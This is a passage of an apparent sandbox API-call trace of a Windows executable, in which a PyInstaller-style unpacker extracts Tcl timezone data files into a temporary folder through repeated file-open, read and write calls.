out: lpLocalTime=0x4f8cf0) returned 1 [0043.296] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.296] CloseHandle (hObject=0x10c) returned 1 [0043.296] GetLastError () returned 0x0 [0043.296] SetLastError (dwErrCode=0x0) [0043.296] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.296] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.297] GetFileType (hFile=0x10c) returned 0x1 [0043.297] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.297] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.297] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.297] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.297] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.297] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.297] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.297] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.297] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.297] CloseHandle (hObject=0x10c) returned 1 [0043.297] GetLastError () returned 0x0 [0043.297] SetLastError (dwErrCode=0x0) [0043.297] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.297] GetFileType (hFile=0x10c) returned 0x1 [0043.297] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.297] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.297] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.297] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.297] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.297] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.297] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.297] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.297] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.298] CloseHandle (hObject=0x10c) returned 1 [0043.298] GetLastError () returned 0x0 [0043.298] SetLastError (dwErrCode=0x0) [0043.298] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Truk") returned 69 [0043.298] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Truk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\truk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.298] GetLastError () returned 0x2 [0043.298] SetLastError (dwErrCode=0x2) [0043.298] GetLastError () returned 0x2 [0043.298] SetLastError (dwErrCode=0x2) [0043.298] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Truk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Truk", lpFilePart=0x0) returned 0x44 [0043.298] GetLastError () returned 0x2 [0043.298] SetLastError (dwErrCode=0x2) [0043.298] GetLastError () returned 0x2 [0043.298] SetLastError (dwErrCode=0x2) [0043.298] GetLastError () returned 0x2 [0043.298] SetLastError (dwErrCode=0x2) [0043.298] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Truk") returned 69 [0043.298] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.298] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Truk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\truk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.298] GetFileType (hFile=0x10c) returned 0x1 [0043.298] htonl (hostlong=0xaf000000) returned 0xaf [0043.298] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.299] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xaf, lpOverlapped=0x0) returned 1 [0043.299] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.299] CloseHandle (hObject=0x10c) returned 1 [0043.299] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.299] htonl (hostlong=0x30000000) returned 0x30 [0043.299] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.300] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.300] GetFileType (hFile=0x10c) returned 0x1 [0043.300] htonl (hostlong=0x82265d00) returned 0x5d2682 [0043.300] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d682, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.300] htonl (hostlong=0x8a000000) returned 0x8a [0043.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0043.300] htonl (hostlong=0x8a000000) returned 0x8a [0043.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.300] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.300] htonl (hostlong=0x91000000) returned 0x91 [0043.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x550600 [0043.300] htonl (hostlong=0x8a000000) returned 0x8a [0043.300] htonl (hostlong=0x91000000) returned 0x91 [0043.300] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.300] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.300] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.300] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.300] CloseHandle (hObject=0x10c) returned 1 [0043.300] GetLastError () returned 0x0 [0043.300] SetLastError (dwErrCode=0x0) [0043.300] GetLastError () returned 0x0 [0043.300] SetLastError (dwErrCode=0x0) [0043.300] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.300] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.301] GetFileType (hFile=0x10c) returned 0x1 [0043.301] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.301] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.301] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.301] CloseHandle (hObject=0x10c) returned 1 [0043.301] GetLastError () returned 0x0 [0043.301] SetLastError (dwErrCode=0x0) [0043.301] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.301] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.301] GetFileType (hFile=0x10c) returned 0x1 [0043.301] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.301] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.301] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.301] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.302] CloseHandle (hObject=0x10c) returned 1 [0043.302] GetLastError () returned 0x0 [0043.302] SetLastError (dwErrCode=0x0) [0043.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.302] GetFileType (hFile=0x10c) returned 0x1 [0043.302] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.302] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.302] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.302] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.302] CloseHandle (hObject=0x10c) returned 1 [0043.302] GetLastError () returned 0x0 [0043.302] SetLastError (dwErrCode=0x0) [0043.302] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wake") returned 69 [0043.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wake" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\wake"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.302] GetLastError () returned 0x2 [0043.302] SetLastError (dwErrCode=0x2) [0043.302] GetLastError () returned 0x2 [0043.302] SetLastError (dwErrCode=0x2) [0043.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wake", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wake", lpFilePart=0x0) returned 0x44 [0043.302] GetLastError () returned 0x2 [0043.303] SetLastError (dwErrCode=0x2) [0043.303] GetLastError () returned 0x2 [0043.303] SetLastError (dwErrCode=0x2) [0043.303] GetLastError () returned 0x2 [0043.303] SetLastError (dwErrCode=0x2) [0043.303] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wake") returned 69 [0043.303] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.303] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Wake" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\wake"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.374] GetFileType (hFile=0x10c) returned 0x1 [0043.374] htonl (hostlong=0x91000000) returned 0x91 [0043.374] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.374] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x91, lpOverlapped=0x0) returned 1 [0043.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.375] CloseHandle (hObject=0x10c) returned 1 [0043.375] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.375] htonl (hostlong=0x30000000) returned 0x30 [0043.375] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.375] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.375] GetFileType (hFile=0x10c) returned 0x1 [0043.375] htonl (hostlong=0xc275d00) returned 0x5d270c [0043.375] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d70c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.376] htonl (hostlong=0x8a000000) returned 0x8a [0043.376] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0043.376] htonl (hostlong=0x8a000000) returned 0x8a [0043.376] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.376] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.376] htonl (hostlong=0x92000000) returned 0x92 [0043.376] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x550600 [0043.376] htonl (hostlong=0x8a000000) returned 0x8a [0043.376] htonl (hostlong=0x92000000) returned 0x92 [0043.376] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.376] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.376] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.377] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.377] CloseHandle (hObject=0x10c) returned 1 [0043.377] GetLastError () returned 0x0 [0043.377] SetLastError (dwErrCode=0x0) [0043.377] GetLastError () returned 0x0 [0043.377] SetLastError (dwErrCode=0x0) [0043.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.377] GetFileType (hFile=0x10c) returned 0x1 [0043.377] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.377] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.377] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.377] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.377] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.377] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.377] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.377] CloseHandle (hObject=0x10c) returned 1 [0043.377] GetLastError () returned 0x0 [0043.377] SetLastError (dwErrCode=0x0) [0043.377] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.377] GetFileType (hFile=0x10c) returned 0x1 [0043.378] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.378] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.378] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: 